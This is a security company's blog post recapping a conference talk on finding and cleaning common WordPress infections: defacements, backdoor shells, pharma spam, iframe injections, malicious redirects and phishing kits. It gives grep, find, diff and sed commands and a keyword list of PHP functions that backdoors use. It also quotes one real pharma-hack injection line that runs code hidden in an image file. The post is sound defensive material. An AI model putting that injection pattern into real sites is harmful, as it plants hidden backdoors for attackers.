Dealing with WordPress Malware

A few months back I contributed to a post with Smashing Magazine on the top 4 WordPress Infections, it was released yesterday, and it couldn’t have been at a better time. If any one attended WordCamp Las Vegas you might even find some similarities. Fortunately in the process of preparing for the event and working with the team, we were able to compile a bit more information expanding on the things we originally discussed in the last post. It’s perfect timing for a number of reasons, and will complement this post very nicely.

The idea of this post, like many in the past, is to outline and discuss this past weekend’s presentation. In the process, hopefully you take something away. Unfortunately, the presentation was capped off with a live attack and hack, and I won’t be able to include that in this post, but I promise it’s coming.

**Note: If you plan to be at WordCamp Philadelphia 2012 you might be in for some treats, just saying. And if you don’t have it on the calendar, you should.

So let’s get started…

The Preso

As always, let’s get started with the presentation. Yes, in case you missed it in the title of both the presentation and this post, they’re both closely related and deal with the various WordPress hacks.

Kicking Things Off

CREDIBILITY

As you might imagine, when getting up and talking to folks, you can’t help but look over the crowd and see this their mannerisms, and the looks on their faces. You know the look, it screams “Pffft.. let’s see what this guy knows!” or “Great, another schmuck going to tell me about security.. “. And let’s not forget about the arms crossed with the slouched back appearance. You know, the too good for school approach. In any event, it’s always a good idea to combat that issue head on. Which is what I did with my, “What do I know, right? [slide 3].

For those unaware, and/or just curious, here at Sucuri we perform over 2 million scans a month, remediate between 200 – 300 websites a day, and work Monday to Sunday to provide support year round. Many also don’t realize it, but our support far extends beyond WordPress. Our portfolio also includes ASP/.NET applications, as well as other PHP based CMS’s (e.g., Joomla, Drupal, etc.. ). In short, we really like what we do.

FOUNDATION

Before we dive into the presentation however, it’s important to set some guidelines and ensure the foundation is set correctly. Unfortunately, sometimes marketing teams have a way of getting their hands on company websites and blogs, and completely screw up the deliver and intentions of a post, especially in the InfoSec world. So here are a few things that helped in our conversation:

Information security is about risk reduction. It always amazes me when I take a look at the propaganda on the web today. You know what I’m talking about, “With me, you’ll never get hacked” or “If you harden things correctly you don’t need to worry about hacks.” This shows ignorance and a lack of understanding for the InfoSec domain. Anybody that has been around for any amount of time knows that this is nothing more than a lie, and if it’s the marketing team delivering the message, we’re doing the community an injustice.

Prevention is ideal, detection is key. I met Dr. Eric Cole at a SANS conference this summer and this was one of his tag lines. When I heard it, it rung home for me because it’s true. Especially in today’s cyber warfare / crime landscape. This is also a more realistic philosophy. To think you will block and prevent 100% of all attacks is a false expectation, so you must complement it with detection. This is actually the same niche that you find companies like Sucuri in (detection and remediation), and why they complement other companies like CloudFlare on the preventive side.

It’s All In The Details

In my last talk, WordPress Security – Cutting Through the BS, I went into more detail than ever before, on the need to step back and look at the Ecosystem / Environment , this presentation was no different. In fact, it’s how things kicked off. Let’s take a quick minute to reflect on them:

• Rogue Apache Module – September 2012M – Our friend Dennis with Unmask Parasites wrote an outstanding article outlining an issue he had been seeing, where a rogue Apache module was being inserted and used to infiltrate websites on the server. We were actually able to get a case where it wasn’t a self hosted site, but a host in which they were experiencing an infrastructure compromise.
• phpMyAdmin Corrupt Mirror – September 2012 – A mirror was compromised and a simple pass through shell like the one shown in the demonstrated was used to infiltrate the server.
• PHP-CGI Vulnerability Being Exploited in the Wild – May 2012 We actually wrote a post about this and demonstrated how this was being exploited. In this instance it was another remote command execution vulnerability.
• Plesk Vulnerability – June 2012 – In this instance it was actually two issues. One was storage of data in the clear, the second was a SQL injection vulnerability that allows attackers to bypass defenses and gain access to your environment.

What is sad is that these are but a fraction of the issues out there. Every day there are new vulnerabilities, it’s the nature of the business that we’re in. Unfortunately though, as a community we do it to ourselves and the media doesn’t help; we set and regurgitate poor expectations onto our readers, consumers, clients and end-users alike. To help bring the point home we look at the logical architecture of the average WordPress install, and we highlight the potential vectors:

Oh my!?!?!?! Is usually the response I see written across people’s faces when I show this slide, and I can’t help wonder why the surprise. There is something broken in the way we educate and train users if they are seeing and/or understanding this for the first time when sitting in front of me.

The most challenging, and probably why it’s not adequately articulated to people, is the complete sense of hopelessness that an image like that carries. It’s this feeling that perhaps its best to disconnect and never touch the internet again. While I only half-smile about that, the idea is impractical. Yes, its true, it can be a bit daunting, there is no denying that. But it’s also manageable once you set your own expectations.

The key points I made to the group is as follows:

First, if you are just learning about this for the first time and you’re running your own server, you have a problem and should dive in immediately to check yourself out.

Second, if you don’t know what I just said or made that reference, then go with a managed WordPress host. Check out our partners page for WordPress hosts that have your security interests at heart.

This same advise goes to you reading this post.

I do want to be clear though, I’m not saying that with a managed service your worries go out the window and/or you’ll never be hacked again. Absolutely not my friends, go back to the risk discussion. No, this just means if it happens, you get hacked, there is a team in place to help you navigate the craziness that ensues.

Yes, what ensues after hack is nothing short of sheer chaos for most – often involves a little crying, yelling, screaming and finally defeat.

Let’s Look At The Hacks Already

If you made it through my never-ending forward I commend you, but I will not torture you anymore. Let’s get right into things.

As we go through each hack though I want you to keep one thing in mind – Access. There is something I recently learned, and its shame because it’s so simple, but you have to focus on manageable things. If you try to tackle on all the issues, you’ll find that you only solve a few, and the rest consume you. But, if you really sit back and think, you have the ability to find that concept that all things seem to gravitate to, in our case it’s Access.

I’m actually going to expand on what I provided in the Smashing Magazine article, introduce new tips and extend the list from 1 to 5. Let’s focus on the following:

• Defacements
• Backdoors
• Pharma Hack
• Malicious Redirects
• Phishing

Before we get started though there are a few commands you want to acclimate yourself with, they are:

• CURL
• FIND
• GREP
• DIFF

This should all work on NIX distributions (i.e., UNIX / LINUX) but if you’re on a Window’s box you can try:

• FIND
• FINDSTR
• COMP
• REPLACE
• QGREP

Unfortunately, I’ll only be giving demonstrations of the NIX usage types, I know I stink.

HUNTING TIMTHUMB

Before we get into the hacks though I wanted to provide some usage examples, and what better way than to kill us some TimThumb. So if you have SHELL access to your box you’re going to run this bad boy to find all the variations of TimThumb on your server:

# grep -Eir --include "*thumb.php" 'define.*VERSION' .

Once you find them all you can use this one to update the file:

# curl -D - -A "Windows" https://timthumb.googlecode.com/svn/trunk/timthumb.php>/path-to-file/timthumb.php

Yes, where it says /path-to-file/ you need to update that with the path to your file. Not getting into a why and how discussion here, simply telling you what you can do.

Ok, now, if you know something is wrong and can’t quite figure it out, you can run two different commands to figure out what has changed in the past 24 hours. It’s no perfect, but it helps you get your orientation. You can try these:

find -type f -ctime -0 | more

– or –

find ./ -mtime -1 

In both these examples you’re telling the server to show you what has changed in the past 24 hours. In the first example I’m saying show me only the files that have changed, in the second show me everything. There are pros and cons to using each, be mindful of that.

If you are fortunate enough to have a backup of your files then you’re in luck. You can use the DIFF command to see what is different between directories or files. If you run it with no options you’re going to get a lot of noise, so I like to run it in quiet mode. I just want to know which files are different:

diff –qr /path/dir1 /path/dir2

If you’re sitting there thinking, man, I should have taken the other pill I’m sorry but it’s not going to get any better as we move on.

Ok, now that we have a primer on the use of these tools, let’s dive right in and see what kind of chaos we can create.

The Hacks – Malware, Phishing, Spam Oh My

DEFACEMENTS

Probably the most annoying but easiest of hacks to deal with, not every day you get that combination. If you’re wondering what a defacement looks like here it is:

What this image doesn’t give you is the outstanding music that it often plays. A little House, a little Trance, and you’re off and running. If you read through the page you’ll find a number of things, everything often revolves some associated cause. Whether it’s a way of telling you your security sucks, or supporting some cause you probably didn’t know was important. A current example of this was the recent issues with the video insulting Islam’s Mohammad. Within days of the event, new defacements were appearing talking to the wrong done to the people of Islam. This is but one of many examples of things that drive defacements.

The good news is that they are often very easy to address, and patterns are the same. Places to look include:

• • Index.php – check root directory and your themes directory
  • Index.html – here is one folks forget with WP, there is no index.html at root, if you see it, remove it unless you added it

This is also a very easy one to use with GREP. Pick out a few key words, open it in view source if you want, and try crawling to see what you find, it could look something like this:

# grep -ri 'sinper399' .

BACKDOORS

Oh man, if you have a backdoor shell on your server it’s ok to let out a little tear. Yes, they are that dangerous.

If the attacker is able to get a shell on your server it can be exceptionally painful, with it they have the ability to overwrite all existing server configuration, to include permissions, access, the work. They are also highly deceptive.

Here is a generic 404 page, or is it? Look at the middel of the page, what do you see? Yes, its an input field and when I type in my password you get access. But to what, right?

Yes, as you can see below, this awesome page provides a nice interface in which I can see everything and do anything. As you can see, I have options to check out your database, verify the network configuration and if I want to I can use your resources to perform another Brute Force attack. If you look, there is even a self-remove feature in the event the user wants remove itself or work on your server via a console, while on the browser.

Personally, I can’t help but respect and in some instance stare in awe when I find these variations. Unfortunately, we’re not here to gawk, so let’s look at things you can do to help you narrow down the hunt.

While the list is continuously evolving and it’s impractical to think this will catch everything here is a good, realistic list to work from and scan for:

• is_bot
• eval
• base64_decode
• phpinfo
• chmod
• fopen
• fclose
• readfile
• edoced_46esad
• exec
• system
• shell_exec
• gzuncompress
• popen
• filesman
• passthru
• python_eval
• gzip
• mkdir

Good Lawd! I know a long list, but hey you asked, or I thought you did. Now, how in the world to search for these? You could always do this:

# grep -Rn "shell_exec *(" /path to files/

Yup that’s efficient right? Yeah, no not quite, here run this instead:

# grep -RPl --include=*.{php} "(system|exec|passthru|shell_exec|fopen|fclose|filesman|
edoced_46esad|gzuncompress|base64_decode|eval|) *(" /path to file/

As you might imagine, you can keep adding to the keywords aas you like, simply split it by using the pipe “|” character.

PHARMA HACK

Ok, not going to go into great lengths here because I’ll be writing a separate post on the Pharma hack but this is perhaps the most difficult of hacks to deal with. The first thing to understand is that this ia multi-million dollar business, a business that generated close to 3,500 new clients a day. Yes, via all those Pharma link injections and SEO poisoning attacks.

What’s perhaps most interesting about these attacks is that it’s very rare that you’ll find malware on the reference site. These site are highly coveted, the affiliate model is impression based so that they can’t afford, literally, to ruin that. There is actually an entire system in place to support it and the entire process is highly protected and integrity ensured. So what’s the point? Well if you’re in need of erectile dysfunction pills, that’s not a bad time to buy.. 🙂

What makes them more challenging however is how exceptionally difficult it is to detect. If it were as easy as a keyword search, everyone would do it, right? But then, how about the legitimate Pharmaceutical site? Yes there are legitimate ones.

To further complicate things they leverage conditional malware a lot. As implied in the name, it only presents itself under certain conditions. But that’s not the only trick, sometimes they insert directories full of the payload, but inject it elsewhere on the server and simply reference it via your header, index, or footer files. Yes, I know, it sucks.

The reference though usually looks the same, something like this:

$wp__theme_icon=@create_function(”,@file_get_contents(‘/public_html/wp-content/themes/awesome directory/s.jpg’));$wp__theme_icon();

We actually wrote a more in depth post explaining the injfection in one of our latest posts about Blackhat SEO SPAM so I won’t go into details here. The point to understand though is that this is one variation of the Pharma Hack. You have more simplistic implementations as described in the Smashing Magazine post.

The one thing you can do however is take a look at the site via Google’s eyes, you can do this via Google Webmaster Tools or via your terminal. If on a NIX box you can try running this:

# curl –L –A “Googlebot/2.1(+https://www.google.com/bot.html)” https://someinfectedwebsite.com

This will output what Google sees but on your terminal. If you’re in Google Webmaster Tools you can click Health > Fetch as Google . Submit and click on Success when done. You’ll then have to parse through the output to see what is being flagged.

INJECTIONS

These are perhaps the most prevalent infections out there today. They come in all forms, and can range from Pharma hacks to Drive by Download attempts. They can also infect a number of your files, PHP, HTML and JS, it has no shame. This is perhaps why they are so difficult to work with. They also can be found encoded, encrypted, obfuscated, concatenated and a number of other variations. The best thing is to see if it’s displaying something on your browser, the best way is using a live scanner like our SiteCheck Scanner. When you do that you might see something like this:

What you should notice from the image above is the use of visibility:hidden. This makes it so that you never see it and it runs invisibly on your browser, often through the use of JavaScript, but some variations also leverage other features like ActiveX, AJAX and others.

While there are many variations for these injections if you find yourself facing something like what provided above you can try doing running grep to see if it exists on the server:

# grep -Ri "<iframe width....................................>/iframe>" .

If it finds it, you’re in luck, that means it’s not obfuscated and it also means you can remove it. Enter our friend SED. With it you can do inline edits to the file you’re working, so in this example the cleanup would look something like this:

# sed 's#<iframe width........................................</iframe>##' fileofinterest.php

This will delete the entire line you place between each #, hash mark. Remember to create a back of the file before you make changes, if you do some research you might find an easy way to do it using the sed command.

MALICIOUS REDIRECTS

These redirects are annoying, I agree, but they are easy to detect and easy to clean. The challenge is that often case they are associated with a backdoor shell or even a cron job designed to rewrite itself at some set interval. Detecting however is nice an easy. Very rarely are redirects not detected on SiteCheck, so always give that a good ole college try.

The most obvious place for these infections are right in the root .htaccess file. But understand that in some instances you’ll find that an .htaccess file has been created in every directory. When you open it, you might see something like this:

In this image you can clearly see the various rules in place; if any of the user agents match, then send the user to the site defined in the RewriteRule directive. The quickest cleanup is to remove it, but remember to locate all files:

# find ./ -name .htaccess -type f

Now that you know, you can quickly open each and verify they are clean, if not, fix it by removing the infection. One thing to remember, always scroll to the bottom to see if there are any Error directives.

PHISHING

Phishing seems to be the big thing these days. In fact, in their post celebrating five years of Google’s Webmaster Tools program, Google forecasted that web malware will decrease while Phishing will increase. While I disagree on the web malware, I do agree on the phishing side of the house. As of late we’re seeing a number of different variations of these social engineering attacks. They don’t appear to be very sophisticated, and a little awareness on the part of the site owner will do wonders for all users.

A recent example was the phishing email sent out to WordPress plugin users asking them to log into their .org accounts for an update:

This then was used to reference a user to a site where the user would then be able to log in. That login would then be recorded on the back-end and the attack could use that to log into their regular account. This is a more benign attack attempt when compared to this:

Yes, this is a shell of the Wells Fargo website embedded within a users WordPress website. It was actually embedded within a directory in the plugins directory. Guess what it was called – yes, it was called Wells Fargo. The kicker was if you opened any of the files none of them where bad, they were all written using legitimate syntax, even proper escaping and validation. You have to love when they develop securely.

With Phishing attempts it pays to know your environment, be on the look out for any new directories or files that you don’t recognize. Easiest method might be to use DIFF. Reference guidance above.

Brain Overload

Wow, I do apologize, I swear. The intent was not to be this lengthy but what can I say, these fingers were doing all the dancing. Hopefully you were able to take away some good information and better understand the top 5 infections we see that appear to be infatuated with WordPress installs.

The reason is simple actually, most infections carry a similar anatomy, in most instances the key is Access. With a little more emphasis on the way we manage users and how access is granted, a good number of the known methods of attacks would be thwarted.

If you’re a gluten for punishment here are a few more articles that will help you improve your Security posture:

• WordPress Themes: XSS Vulnerabilities and Secure Coding Practices
• WordPress Security – Cutting Through The BS
• The Password Dilemma – Unique and Complex is the Key
• Automation is Key With Today’s Website Attacks
• WordPress and Server Hardening – Taking Security to Another Level
• Website Malware Removal – WordPress Tips & Tricks
• WordPress – Understanding its True Vulnerability

Remember, if you’re looking to see this presentation, or at least elements of it with some new updates, you’ll want to join Dre, Brad and I at WordCamp Philadelphia 2012 on October 20th. We’ll be talking about this and many other security issues on our security panel. You never know, might also entice the crowd with another live hack, Gangman Style of course.

If you have any questions or concerns please let us know via comments or email at info@sucuri.net.